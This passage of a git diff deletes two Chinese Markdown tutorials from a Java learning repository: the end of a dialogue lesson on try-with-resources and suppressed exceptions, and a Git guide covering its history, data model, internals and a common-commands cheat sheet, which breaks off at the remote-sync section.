-“看出来问题了吗,三妹?” - -“啊?`readLine()` 方法的异常信息竟然被 `close()` 方法的堆栈信息吃了!” - -“不错啊,三妹,火眼金睛,的确,这会让我们误以为要调查的目标是 `close()` 方法而不是 `readLine()` 方法——尽管它也是应该怀疑的对象。” - -“但有了 try-with-resources 后,这些问题就迎刃而解了。前提条件只有一个,就是需要释放的资源(比如 BufferedReader)实现了 AutoCloseable 接口。” - -```java -try (BufferedReader br = new BufferedReader(new FileReader(decodePath));) { - String str = null; - while ((str =br.readLine()) != null) { - System.out.println(str); - } -} catch (IOException e) { - e.printStackTrace(); -} -``` - -“你瞧,三妹,finally 块消失了,取而代之的是把要释放的资源写在 try 后的 `()` 中。如果有多个资源(BufferedReader 和 PrintWriter)需要释放的话,可以直接在 `()` 中添加。” - -```java -try (BufferedReader br = new BufferedReader(new FileReader(decodePath)); - PrintWriter writer = new PrintWriter(new File(writePath))) { - String str = null; - while ((str =br.readLine()) != null) { - writer.print(str); - } -} catch (IOException e) { - e.printStackTrace(); -} -``` - -“如果想释放自定义资源的话,只要让它实现 AutoCloseable 接口,并提供 `close()` 方法即可。” - -```java -public class TrywithresourcesCustom { - public static void main(String[] args) { - try (MyResource resource = new MyResource();) { - } catch (Exception e) { - e.printStackTrace(); - } - } -} - -class MyResource implements AutoCloseable { - @Override - public void close() throws Exception { - System.out.println("关闭自定义资源"); - } -} -``` - -来看一下代码运行后的输出结果: - -``` -关闭自定义资源 -``` - -“好神奇呀!”三妹欣喜若狂,“在 `try ()` 中只是 new 了一个 MyResource 的对象,其他什么也没干,`close()` 方法就执行了!” - -“想知道为什么吗?三妹。” - -“当然想啊。” - -“来看看反编译后的字节码吧。” - -```java -class MyResource implements AutoCloseable { - MyResource() { - } - - public void close() throws Exception { - System.out.println("关闭自定义资源"); - } -} - -public class TrywithresourcesCustom { - public TrywithresourcesCustom() { - } - - public static void main(String[] args) { - try { - MyResource resource = new MyResource(); - resource.close(); - } catch (Exception var2) { - var2.printStackTrace(); - } - - } -} -``` - -“啊,原来如此。编译器主动为 try-with-resources 进行了变身,在 try 中调用了 `close()` 方法。” - -“是这样的。接下来,我们在 `MyResourceOut` 类中再添加一个 `out()` 方法。” - -```java -class MyResourceOut implements AutoCloseable { - @Override - public void close() throws Exception { - System.out.println("关闭自定义资源"); - } - - public void out() throws Exception{ - System.out.println("沉默王二,一枚有趣的程序员"); - } -} -``` - -“这次,我们在 try 中调用一下 `out()` 方法。” - -```java -public class TrywithresourcesCustomOut { - public static void main(String[] args) { - try (MyResourceOut resource = new MyResourceOut();) { - resource.out(); - } catch (Exception e) { - e.printStackTrace(); - } - } -} -``` - -“再来看一下反编译的字节码。” - -```java -public class TrywithresourcesCustomOut { - public TrywithresourcesCustomOut() { - } - - public static void main(String[] args) { - try { - MyResourceOut resource = new MyResourceOut(); - - try { - resource.out(); - } catch (Throwable var5) { - try { - resource.close(); - } catch (Throwable var4) { - var5.addSuppressed(var4); - } - - throw var5; - } - - resource.close(); - } catch (Exception var6) { - var6.printStackTrace(); - } - - } -} -``` - -“这次,`catch` 块主动调用了 `resource.close()`,并且有一段很关键的代码 ` var5.addSuppressed(var4)`。” - -“这是为了什么呢?”三妹问。 - -“当一个异常被抛出的时候,可能有其他异常因为该异常而被抑制住,从而无法正常抛出。这时可以通过 `addSuppressed()` 方法把这些被抑制的方法记录下来,然后被抑制的异常就会出现在抛出的异常的堆栈信息中,可以通过 `getSuppressed()` 方法来获取这些异常。这样做的好处是不会丢失任何异常,方便我们进行调试。”我说。 - -“有没有想到之前的那个例子——在 try-catch-finally 中,`readLine()` 方法的异常信息竟然被 `close()` 方法的堆栈信息吃了。现在有了 try-with-resources,再来看看和 `readLine()` 方法一致的 `out()` 方法会不会被 `close()` 吃掉吧。” - -```java -class MyResourceOutThrow implements AutoCloseable { - @Override - public void close() throws Exception { - throw new Exception("close()"); - } - - public void out() throws Exception{ - throw new Exception("out()"); - } -} -``` - -“调用这 2 个方法。” - -```java -public class TrywithresourcesCustomOutThrow { - public static void main(String[] args) { - try (MyResourceOutThrow resource = new MyResourceOutThrow();) { - resource.out(); - } catch (Exception e) { - e.printStackTrace(); - } - } -} -``` - -“程序输出的结果如下所示。” - -``` -java.lang.Exception: out() - at com.cmower.dzone.trycatchfinally.MyResourceOutThrow.out(TrywithresourcesCustomOutThrow.java:20) - at com.cmower.dzone.trycatchfinally.TrywithresourcesCustomOutThrow.main(TrywithresourcesCustomOutThrow.java:6) - Suppressed: java.lang.Exception: close() - at com.cmower.dzone.trycatchfinally.MyResourceOutThrow.close(TrywithresourcesCustomOutThrow.java:16) - at com.cmower.dzone.trycatchfinally.TrywithresourcesCustomOutThrow.main(TrywithresourcesCustomOutThrow.java:5) -``` - -“瞧,这次不会了,`out()` 的异常堆栈信息打印出来了,并且 `close()` 方法的堆栈信息上加了一个关键字 `Suppressed`,一目了然。” - -“三妹,怎么样?是不是感觉 try-with-resources 好用多了!我来简单总结下哈,在处理必须关闭的资源时,始终有限考虑使用 try-with-resources,而不是 try–catch-finally。前者产生的代码更加简洁、清晰,产生的异常信息也更靠谱。” - -“靠谱!”三妹说。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - diff --git a/docs/src/git/git-qiyuan.md b/docs/src/git/git-qiyuan.md deleted file mode 100644 index ed60af3df6..0000000000 --- a/docs/src/git/git-qiyuan.md +++ /dev/null @@ -1,1176 +0,0 @@ ---- -title: 1小时彻底掌握 Git,(可能是)史上最简单明了的 Git 教程 -shortTitle: 最简单明了的 Git 教程 -category: - - 开发/构建工具 -tag: - - Git -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,1小时彻底掌握 Git,(可能是)史上最简单明了的 Git 教程 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Git入门,Git教程,git ---- - - -## 一、Git 起源 - -Git 是一个分布式版本控制系统,缔造者是大名鼎鼎的林纳斯·托瓦茲 (Linus Torvalds),Git 最初的目的是为了能更好的管理 Linux 内核源码。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/git-qiyuan-01.png) - - -大家都知道,Linux 内核是开源的,参与者众多,到目前为止,共有两万多名开发者给 Linux Kernel 提交过代码。 - -但在 1991 年到 2002 年期间,Linus 作为项目的管理员并没有借助任何配置管理工具,而是以手工方式通过 patch 来合并大家提交的代码。 - -倒不是说 Linus 喜欢手工处理,而是因为他对代码版本管理工具非常挑剔,无论是商用的 clearcase,还是开源的 CVS、SVN 都入不了他的法眼。 - -直到 2002 年,Linus 才相中了一款分布式版本控制系统 BitKeeper,虽然是商用的,但 BitKeeper 愿意让 Linux 社区免费使用,这让 Linus 非常开心和满意。 - -时间来到 2005 年,由于 BitKeeper 提供的默认接口不能满足 Linux 社区用户的全部需要,一位开发者在未经允许的情况下反编译了 BitKeeper 并利用了未公开的接口,于是 BitKeeper 的著作权拥有者拉里·麦沃伊就气愤地收回了 Linux 社区免费使用的权力。 - -没办法,Linus 只好自己硬着头皮上了。他对新的版本控制系统制订了若干目标: - -- 速度 -- 设计简单 -- 允许成千上万个并行开发的分支 -- 完全分布式 -- 有能力高效管理类似 Linux 内核一样的超大规模项目 - -结果,令人意想不到的是,Linus 只用了 10 天时间就用 C语言完成了第一个版本,嗯。。神就是神。并且给这个版本起了一个略带嘲讽意味的名字——Git(在英式英语俚语中表示“不愉快的人”)。 - -源代码的自述文件有进一步的阐述: - ->The name "git" was given by Linus Torvalds when he wrote the very first version. He described the tool as "the stupid content tracker" and the name as (depending on your way) - -从 Git 的设计上来看,有两种命令:分别是底层命令(Plumbing commands)和高层命令(Porcelain commands)。一开始,Linus 只设计了一些给开源社区的黑客们使用的符合 Unix KISS 原则的命令,因为黑客们本身就是动手高手,水管坏了就撸起袖子去修理,因此这些命令被称为 plumbing commands。 - -Linus 在提交了第一个 git commit 后,就向社区发布了 git 工具。当时,社区中有位叫 Junio Hamano 的开发者觉得这个工具很有意思,便下载了代码,结果发现一共才 1244 行代码,这更令他惊奇,也引发了极大的兴趣。Junio 在邮件列表与 Linus 交流并帮助增加了 merge 等功能,而后持续打磨 git,最后 Junio 完全接手了 Git 的维护工作,Linus 则回去继续维护 Linux Kernel 项目。 - -Junio Hamano 觉得 Linus 设计的这些命令对于普通用户不太友好,因此在此之上,封装了更易于使用、接口更精美的高层命令,也就是我们今天每天使用的 git add, git commit 之类。Git add 就是封装了 update-cache 命令,而 git commit 就是封装了 write-tree, commit-tree 命令。 - -如果选历史上最伟大的一次 Git 代码提交,那一定是这 Git 工具项目本身的第一次代码提交。这次代码提交无疑是开创性的,**如果说 Linux 项目促成了开源软件的成功并改写了软件行业的格局,那么 Git 则是改变了全世界开发者的工作方式和写作方式**。 - -如今,Git 已经成为全球软件开发者的标配。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/git-qiyuan-02.png) - -原本的 Git 只适用于 Unix/Linux 平台,但随着 Cygwin、msysGit 环境的成熟,以及 TortoiseGit 这样易用的GUI工具,Git 在 Windows 平台下也逐渐成熟。 - ->PS1:Cygwin 的主要目的是通过重新编译,将 POSIX 系统(例如Linux、BSD,以及其他Unix系统)上的软件移植到Windows上。 - ->PS2:msysGit 前面的 4 个字幕来源于 MSYS 项目,而 MSYS 又源于 MinGW(Minimalist GNU for Windows,最简GNU工具集),通过增加了一个由bash提供的shell环境以及其他相关工具软件,组成了一个最简系统(Minimal System),利用MinGW提供的工具,以及Git针对MinGW的一个分支版本,可以在Windows平台为Git编译出一个原生应用,结合MSYS就组成了msysGit。 - -Git 和传统的版本控制工具 CVS、SVN 有不小的区别,前者关心的是文件的整体性是否发生了改变,后两者更关心文件内容上的差异。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/git-qiyuan-03.png) - - -除此之外,Git 更像是一个文件系统,每个使用它的主机都可以作为版本库,并且不依赖于远程仓库而离线工作。开发者在本地就有历史版本的副本,因此就不用再被远程仓库的网络传输而束缚。 - -Git 中的绝大多数操作都只需要访问本地文件和资源,一般不需要来自网络上其它计算机的信息。因为在本地磁盘上就有项目的完整历史,所以 Git 的大部分操作看起来就像是在瞬间完成的。 - -在多人协作的情况下,Git 可以将本地仓库复制给其他开发者,那些发生改变的文件可以作为新增的分支被导入,再与本地仓库的进行分支合并。 - -如果你希望后面的学习更顺利,请记住 Git 这三种状态: - -- 已提交(committed),表示数据已经安全的保存在本地数据库中 -- 已修改(modified),表示修改了文件,但还没保存到数据库中 -- 已暂存(staged),表示对一个已修改文件的当前版本做了标记,使之包含在下次提交的快照中 - -由此引入了 Git 的三个工作区域: - -- Git 仓库,用来保存项目的元数据和对象数据库 -- 工作目录,对项目的某个版本进行独立提取 -- 暂存区域,保存了下次将提交的文件列表信息,也可以叫“索引” - -Git 的工作流程是这样的: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/git-qiyuan-04.png) - - -- 在工作目录中修改文件 -- 暂存文件,将文件的快照放入暂存区域 -- 提交更新,找到暂存区域的文件,将快照永久性存储到 Git 仓库目录 - -## 二、Git 安装 - -接下来,我们来看一下 **Git 的安装**,Linux 和 Windows 系统的安装大家可以到 Git 官网上查看安装方法,上面讲的非常详细。 - ->https://git-scm.com/downloads - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/git-qiyuan-05.png) - -我个人使用的 macOS 系统,可以直接使用 `brew install git` 命令安装,非常方便。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/git-qiyuan-06.png) - -安装成功后,再使用 `git --version` 就可以查看版本号了,我本机上安装的是 2.23.0 版本。 - -## 三、Git 的数据模型 - -尽管 Git 的接口有些难懂,但它底层的设计和思想却非常的优雅。难懂的接口只能靠死记硬背,但优雅的底层设计则非常容易理解。我们可以通过一种自底向上的方式来学习 Git,先了解底层的数据模型,再学习它的接口。可以这么说,一旦搞懂了 Git 的数据模型,再学习它的接口并理解这些接口是如何操作数据模型的就非常容易了。 - -进行版本控制的方法很多,Git 拥有一个精心设计的模型,这使其能够支持版本控制所需的所有特性,比如维护历史记录、支持分支和团队协作。 - -### 快照 - -Git 将顶级目录中的文件和文件夹称作集合,并通过一系列快照来管理历史记录。在 Git 的术语中,文件被称为 blob 对象(数据对象),也就是一组数据。目录则被称为 tree(树),目录中可以包含文件和子目录。 - -``` - (tree) -| -+- foo (tree) -| | -| + bar.txt (blob, contents = "hello world") -| -+- baz.txt (blob, contents = "git is wonderful") -``` - -顶层的树(也就是 root) 包含了两个元素,一个名为 foo 的子树(包含了一个 blob 对象“bar.txt”),和一个 blob 对象“baz.txt”。 - -### 历史记录建模:关联快照 - -版本控制系统是如何和快照进行关联的呢?线性历史记录是一种最简单的模型,它包含了一组按照时间顺序线性排列的快照。不过,出于种种原因,Git 没有采用这种模型。 - -在 Git 中,历史记录是一个由快照组成的有向无环图。“有向无环图”,听起来很高大上,但其实并不难理解。我们只需要知道这代表 Git 中的每个快照都有一系列的父辈,也就是之前的一系列快照。这些快照通常被称为“commit”,看起来好像是下面这样: - -``` -o <-- o <-- o <-- o - ^ - \ - --- o <-- o -``` - -o 表示一次 commit,也就是一次快照。箭头指向了当前 commit 的父辈。在第三次 commit 之后,历史记录分叉成了两条独立的分支,这可能是因为要同时开发两个不同的特性,它们之间是相互独立的。开发完成后,这些分支可能会被合并为一个新的 commit,这个新的 commit 会同时包含这些特性,看起来好像是下面这样: - -``` -o <-- o <-- o <-- o <---- o - ^ / - \ v - --- o <-- o -``` - -Git 中的 commit 是不可改变的。当然了,这并不意味着不能被修改,只不过这种“修改”实际上是创建了一个全新的提交记录。 - -### 数据模型及其伪代码表示 - -以伪代码的形式来学习 Git 的数据模型,可能更加通俗易懂。 - -``` -// 文件是一组数据 -type blob = array - -// 一个包含了文件和子目录的目录 -type tree = map - -// 每个 commit 都包含了一个父辈,元数据和顶层树 -type commit = struct { - parent: array // 父辈 - author: string // 作者 - message: string // 信息 - snapshot: tree // 快照 -} -``` - -### 对象和内存寻址 - -Git 中的对象可以是 blob、tree 或者 commit: - -``` -type object = blob | tree | commit -``` - -Git 在存储数据的时候,所有的对象都会基于它们的安全散列算法进行寻址。 - -``` -objects = map - -def store(object): - id = sha1(object) - objects[id] = object - -def load(id): - return objects[id] -``` - -blob、tree 和 commit 一样,都是对象。当它们引用其他对象时,并没有真正在硬盘上保存这些对象,而是仅仅保存了它们的哈希值作为引用。 - -还记得之前的例子吗? - -``` - (tree) -| -+- foo (tree) -| | -| + bar.txt (blob, contents = "hello world") -| -+- baz.txt (blob, contents = "git is wonderful") -``` - -root 引用的 foo 和 baz.txt 就像下面这样: - -``` -100644 blob 4448adbf7ecd394f42ae135bbeed9676e894af85 baz.txt -040000 tree c68d233a33c5c06e0340e4c224f0afca87c8ce87 foo -``` - -### 引用 - -所有的快照都可以通过它们的哈希值来标记,但 40 位的十六进制字符实在是太难记了,很不方便。针对这个问题,Git 的解决办法是给这些哈希值赋予一个可读的名字,也就是引用(reference),引用是指向 commit 的指针,与对象不同,它是可变的,可以被更新,指向新的 commit。通常,master 引用通常会指向主分支的最新一次 commit。 - -``` -references = map - -def update_reference(name, id): - references[name] = id - -def read_reference(name): - return references[name] - -def load_reference(name_or_id): - if name_or_id in references: - return load(references[name_or_id]) - else: - return load(name_or_id) -``` - -这样,Git 就可以使用“master”这样容易被记住的名称来表示历史记录中特定的 commit,而不需要再使用一长串的十六进制字符了。 - -在 Git 中,当前的位置有一个特殊的索引,它就是“HEAD”。 - -### 仓库 - -我们可以粗略地给出 Git 仓库的定义了:对象 和 引用。 - -在硬盘上,Git 仅存储对象和引用,因为其数据模型仅包含这些东西。所有的 git 命令都对应着对 commit 树的操作。 - -## 四、Git 的内容实现 - -学习 Git 的内部实现,最好的办法是看 Linus 最初的代码提交,checkout 出 Git 项目的第一次提交节点,可以看到代码库中只有几个文件:一个 README,一个构建脚本 Makefile,剩下几个 C 源文件。这次 commit 的备注写的也非常特别: - -``` -commit e83c5163316f89bfbde7d9ab23ca2e25604af290 -Author: Linus Torvalds -Date: Thu Apr 7 15:13:13 2005 -0700 - - Initial revision of "git", the information manager from hell -``` - -在 README 中,Linus 详细描述了 Git 的设计思路。看似复杂的 Git 工作,在 Linus 的设计里,只有两种对象抽象: - -- 对象数据库(“object database”); -- 当前目录缓存(“current directory cache”)。 - -Git 的本质就是一系列的文件对象集合,代码文件是对象、文件目录树是对象、commit 也是对象。这些文件对象的名称即内容的 SHA1 值,SHA1 哈希算法的值为 40 位。Linus 将前二位作为文件夹、后 38 位作为文件名。大家可以在 .git 目录里的 objects 里看到有很多两位字母/数字名称的目录,里面存储了很多 38 位 hash 值名称的文件,这就是 Git 的所有信息。 - -Linus 在设计对象的数据结构时按照 <标签ascii码表示>(blob/tree/commit) + <空格> + <长度ascii码表示> + <\0> + <二进制数据内容> 来定义,大家可以用 xxd 命令看下 objects 目录里的对象文件(需 zlib 解压),比如一个 tree 对象文件内容如下: - -``` -00000000: 7472 6565 2033 3700 3130 3036 3434 2068 tree 37.100644 h -00000010: 656c 6c6f 2e74 7874 0027 0c61 1ee7 2c56 ello.txt.'.a..,V -00000020: 7bc1 b2ab ec4c bc34 5bab 9f15 ba -``` - -对象有三种:BLOB、TREE、CHANGESET。 - -BLOB: 即二进制对象,这就是 Git 存储的文件,Git 不像某些 VCS (如 SVN)那样存储变更 delta 信息,而是存储文件在每一个版本的完全信息。 - -比如先提交了一份 hello.c 进入了 Git 库,会生成一个 BLOB 文件完整记录 hello.c 的内容;对 hello.c 修改后,再提交 commit,会再生成一个新的 BLOB 文件记录修改后的 hello.c 全部内容。 - -Linus 在设计时,BLOB 中仅记录文件的内容,而不包含文件名、文件属性等元数据信息,这些信息被记录在第二种对象 TREE 里。 - -TREE: 目录树对象。在 Linus 的设计里,TREE 对象就是一个时间切片中的目录树信息抽象,包含了文件名、文件属性及 BLOB 对象的 SHA1 值信息,但没有历史信息。这样的设计好处是可以快速比较两个历史记录的 TREE 对象,不能读取内容,而根据 SHA1 值显示一致和差异的文件。 - -另外,由于 TREE 上记录文件名及属性信息,对于修改文件属性或修改文件名、移动目录而不修改文件内容的情况,可以复用 BLOB 对象,节省存储资源。而 Git 在后来的开发演进中又优化了 TREE 的设计,变成了某一时间点文件夹信息的抽象,TREE 包含其子目录的 TREE 的对象信息(SHA1)。这样,对于目录结构很复杂或层级较深的 Git 库 可以节约存储资源。历史信息被记录在第三种对象 CHANGESET 里。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/neibushixian-01.png) - -CHANGESET:即 Commit 对象。一个 CHANGESET 对象中记录了该次提交的 TREE 对象信息(SHA1),以及提交者(committer)、提交备注(commit message)等信息。 - -跟其他 SCM(软件配置管理)工具所不同的是,Git 的 CHANGESET 对象不记录文件重命名和属性修改操作,也不会记录文件修改的 Delta 信息等,CHANGESET 中会记录父节点 CHANGESET 对象的 SHA1 值,通过比较本节点和父节点的 TREE 信息来获取差异。 - -Linus 在设计 CHANGESET 父节点时允许一个节点最多有 16 个父节点,虽然超过两个父节点的合并是很奇怪的事情,但实际上,Git 是支持超过两个分支的多头合并的。 - -Linus 在三种对象的设计解释后着重阐述了可信(TRUST):虽然 Git 在设计上没有涉及可信的范畴,但 Git 作为配置管理工具是可以做到可信的。原因是所有的对象都以 SHA1 编码(Google 实现 SHA1 碰撞攻击是后话,且 Git 社区也准备使用更高可靠性的 SHA256 编码来代替),而签入对象的过程可信靠签名工具保证,如 GPG 工具等。 - -理解了 Git 的三种基本对象,那么对于 Linus 对于 Git 初始设计的“对象数据库”和“当前目录缓存”这两层抽象就很好理解了。加上原本的工作目录,Git 有三层抽象,如下图示:一个是当前工作区(Working Directory),也就是我们查看/编写代码的地方,一个是 Git 仓库(Repository),即 Linus 说的对象数据库,我们在 Git 仓看到的 .git 文件夹中存储的内容,Linus 在第一版设计时命名为 .dircache,在这两个存储抽象中还有一层中间的缓存区(Staging Area),即 .git/index 里存储的信息,我们在执行 git add 命令时,便是将当前修改加入到了缓存区。 - -Linus 解释了“当前目录缓存”的设计,该缓存就是一个二进制文件,内容结构很像 TREE 对象,与 TREE 对象不同的是 index 不会再包含嵌套 index 对象,即当前修改目录树内容都在一个 index 文件里。这样设计有两个好处: - -- 1. 能够快速的复原缓存的完整内容,即使不小心把当前工作区的文件删除了,也可以从缓存中恢复所有文件; -- 2. 能够快速找出缓存中和当前工作区内容不一致的文件。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/neibushixian-02.png) - -Linus 在 Git 的第一次代码提交里便完成了 Git 的最基础功能,并可以编译使用。代码极为简洁,加上 Makefile 一共只有 848 行。感兴趣的话可以通过上一段所述方法 checkout Git 最早的 commit 上手编译玩玩,只要有 Linux 环境即可。 - -因为依赖库版本的问题,需要对原始 Makefile 脚本做些小修改。Git 第一个版本依赖 openssl 和 zlib 两个库,需要手工安装这两个开发库。在 ubuntu 上执行: sudo apt install libssl-dev libz-dev ;然后修改 makefile 在 LIBS= -lssl 行 中的 -lssl 改成 -lcrypto 并增加 -lz ;最后执行 make,忽略编译告警,会发现编出了7个可执行程序文件:init-db, update-cache, write-tree, commit-tree, cat-file, show-diff 和 read-tree。 - -下面分别简要介绍下这些可执行程序的实现: - -- init-db: 初始化一个 git 本地仓库,这也就是我们现在每次初始化建立 git 库式敲击的 git init 命令。只不过一开始 Linus 建立的仓库及 cache 文件夹名称叫 .dircache,而不是我们现在所熟知的 .git 文件夹。 -- update-cache: 输入文件路径,将该文件(或多个文件)加入缓冲区中。具体实现是:校验路径合法性,然后将文件计算 SHA1值,将文件内容加上 blob 头信息进行 zlib 压缩后写入到对象数据库(.dircache/objects)中;最后将文件路径、文件属性及 blob sha1 值更新到 .dircache/index 缓存文件中。 -- write-tree: 将缓存的目录树信息生成 TREE 对象,并写入对象数据库中。TREE 对象的数据结构为:‘tree ‘ + 长度 + \0 + 文件树列表。文件树列表中按照 文件属性 + 文件名 + \0 + SHA1 值结构存储。写入对象成功后,返回该 TREE 对象的 SHA1 值。 -- commit-tree: 将 TREE 对象信息生成 commit 节点对象并提交到版本历史中。具体实现是输入要提交的 TREE 对象 SHA1 值,并选择输入父 commit 节点(最多 16个),commit 对象信息中包含 TREE、父节点、committer 及作者的 name、email及日期信息,最后写入新的 commit 节点对象文件,并返回 commit 节点的 SHA1 值。 -- cat-file: 由于所有的对象文件都经过 zlib 压缩,因此想要查看文件内容的话需要使用这个工具来解压生成临时文件,以便查看对象文件的内容。 -- show-diff: 快速比较当前缓存与当前工作区的差异,因为文件的属性信息(包括修改时间、长度等)也保存在缓存的数据结构中,因此可以快速比较文件是否有修改,并展示差异部分。 -- read-tree: 根据输入的 TREE 对象 SHA1 值输出打印 TREE 的内容信息。 - -这就是第一个可用版本的 Git 的全部七个子程序,可能用过 Git 的小伙伴会说:这怎么跟我常用的 Git 命令不一样呢?Git add, git commit 呢?是的,在最初的 Git 设计中是没有我们这些平常所使用的 git 命令的。 - -在 Git 的设计中,有两种命令:分别是底层命令(Plumbing commands)和高层命令(Porcelain commands)。一开始,Linus 就设计了这些给开源社区黑客使用的符合 Unix KISS 原则的命令,因为黑客们本身就是动手高手,水管坏了就撸起袖子去修理,因此这些命令被称为 plumbing commands。 - -后来接手 Git 的 Junio Hamano 觉得这些命令对于普通用户不太友好,因此在此之上,封装了更易于使用、接口更精美的高层命令,也就是我们今天每天使用的 git add, git commit 之类。Git add 就是封装了 update-cache 命令,而 git commit 就是封装了 write-tree, commit-tree 命令。 - -## 五、Git 的 60 个常用命令 - -虽然每天多多少少都会敲一些 Git 命令,但仍然有很多记不住,可怜我这脑袋瓜子了。。 - -一般来说,日常使用只要记住下图中这 6 个命令就可以了,但是熟练使用 Git,恐怕要记住60~100个命令~ - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/mingling-01.png) - - - -在 Git 专题的[开篇](https://mp.weixin.qq.com/s/hzEnH3ThvuRDW4EeBLlumw),我就提醒大家一定要记住这几个专用名词,对掌握 Git 有很大的帮助: - -- Workspace:工作区 -- Index / Stage:暂存区 -- Repository:仓库区(或本地仓库) -- Remote:远程仓库 - -当然了,没记住的话,也不要紧了,今天就趁机再温故一遍。 - -下面是阮一峰老师整理的常用 Git 命令清单,有必要的话,可以打印一份出来,放在工作台~ - ->[http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html](http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html) - -### 1、新建代码库 - -``` -# 在当前目录新建一个Git代码库 -$ git init - -# 新建一个目录,将其初始化为Git代码库 -$ git init [project-name] - -# 下载一个项目和它的整个代码历史 -$ git clone [url] -``` - -### 2、配置 -Git的配置文件为.gitconfig,它可以在用户主目录下(全局配置),也可以在项目目录下(项目配置)。 - -``` -# 显示当前的Git配置 -$ git config --list - -# 编辑Git配置文件 -$ git config -e [--global] - -# 设置提交代码时的用户信息 -$ git config [--global] user.name "[name]" -$ git config [--global] user.email "[email address]" -``` - -### 3、增加/删除文件 - -``` -# 添加指定文件到暂存区 -$ git add [file1] [file2] ... - -# 添加指定目录到暂存区,包括子目录 -$ git add [dir] - -# 添加当前目录的所有文件到暂存区 -$ git add . - -# 添加每个变化前,都会要求确认 -# 对于同一个文件的多处变化,可以实现分次提交 -$ git add -p - -# 删除工作区文件,并且将这次删除放入暂存区 -$ git rm [file1] [file2] ... - -# 停止追踪指定文件,但该文件会保留在工作区 -$ git rm --cached [file] - -# 改名文件,并且将这个改名放入暂存区 -$ git mv [file-original] [file-renamed] -``` -### 4、代码提交 - -``` -# 提交暂存区到仓库区 -$ git commit -m [message] - -# 提交暂存区的指定文件到仓库区 -$ git commit [file1] [file2] ... -m [message] - -# 提交工作区自上次commit之后的变化,直接到仓库区 -$ git commit -a - -# 提交时显示所有diff信息 -$ git commit -v - -# 使用一次新的commit,替代上一次提交 -# 如果代码没有任何新变化,则用来改写上一次commit的提交信息 -$ git commit --amend -m [message] - -# 重做上一次commit,并包括指定文件的新变化 -$ git commit --amend [file1] [file2] ... -``` - -### 5、分支 - -``` -# 列出所有本地分支 -$ git branch - -# 列出所有远程分支 -$ git branch -r - -# 列出所有本地分支和远程分支 -$ git branch -a - -# 新建一个分支,但依然停留在当前分支 -$ git branch [branch-name] - -# 新建一个分支,并切换到该分支 -$ git checkout -b [branch] - -# 新建一个分支,指向指定commit -$ git branch [branch] [commit] - -# 新建一个分支,与指定的远程分支建立追踪关系 -$ git branch --track [branch] [remote-branch] - -# 切换到指定分支,并更新工作区 -$ git checkout [branch-name] - -# 切换到上一个分支 -$ git checkout - - -# 建立追踪关系,在现有分支与指定的远程分支之间 -$ git branch --set-upstream [branch] [remote-branch] - -# 合并指定分支到当前分支 -$ git merge [branch] - -# 选择一个commit,合并进当前分支 -$ git cherry-pick [commit] - -# 删除分支 -$ git branch -d [branch-name] - -# 删除远程分支 -$ git push origin --delete [branch-name] -$ git branch -dr [remote/branch] -``` - -### 6、标签 - -``` -# 列出所有tag -$ git tag - -# 新建一个tag在当前commit -$ git tag [tag] - -# 新建一个tag在指定commit -$ git tag [tag] [commit] - -# 删除本地tag -$ git tag -d [tag] - -# 删除远程tag -$ git push origin :refs/tags/[tagName] - -# 查看tag信息 -$ git show [tag] - -# 提交指定tag -$ git push [remote] [tag] - -# 提交所有tag -$ git push [remote] --tags - -# 新建一个分支,指向某个tag -$ git checkout -b [branch] [tag] -``` - -### 7、查看信息 - -``` -# 显示有变更的文件 -$ git status - -# 显示当前分支的版本历史 -$ git log - -# 显示commit历史,以及每次commit发生变更的文件 -$ git log --stat - -# 搜索提交历史,根据关键词 -$ git log -S [keyword] - -# 显示某个commit之后的所有变动,每个commit占据一行 -$ git log [tag] HEAD --pretty=format:%s - -# 显示某个commit之后的所有变动,其"提交说明"必须符合搜索条件 -$ git log [tag] HEAD --grep feature - -# 显示某个文件的版本历史,包括文件改名 -$ git log --follow [file] -$ git whatchanged [file] - -# 显示指定文件相关的每一次diff -$ git log -p [file] - -# 显示过去5次提交 -$ git log -5 --pretty --oneline - -# 显示所有提交过的用户,按提交次数排序 -$ git shortlog -sn - -# 显示指定文件是什么人在什么时间修改过 -$ git blame [file] - -# 显示暂存区和工作区的差异 -$ git diff - -# 显示暂存区和上一个commit的差异 -$ git diff --cached [file] - -# 显示工作区与当前分支最新commit之间的差异 -$ git diff HEAD - -# 显示两次提交之间的差异 -$ git diff [first-branch]...[second-branch] - -# 显示今天你写了多少行代码 -$ git diff --shortstat "@{0 day ago}" - -# 显示某次提交的元数据和内容变化 -$ git show [commit] - -# 显示某次提交发生变化的文件 -$ git show --name-only [commit] - -# 显示某次提交时,某个文件的内容 -$ git show [commit]:[filename] - -# 显示当前分支的最近几次提交 -$ git reflog -``` -### 8、远程同步 -``` -# 下载远程仓库的所有变动 -$ git fetch [remote] - -# 显示所有远程仓库 -$ git remote -v - -# 显示某个远程仓库的信息 -$ git remote show [remote] - -# 增加一个新的远程仓库,并命名 -$ git remote add [shortname] [url] - -# 取回远程仓库的变化,并与本地分支合并 -$ git pull [remote] [branch] - -# 上传本地指定分支到远程仓库 -$ git push [remote] [branch] - -# 强行推送当前分支到远程仓库,即使有冲突 -$ git push [remote] --force - -# 推送所有分支到远程仓库 -$ git push [remote] --all -``` -### 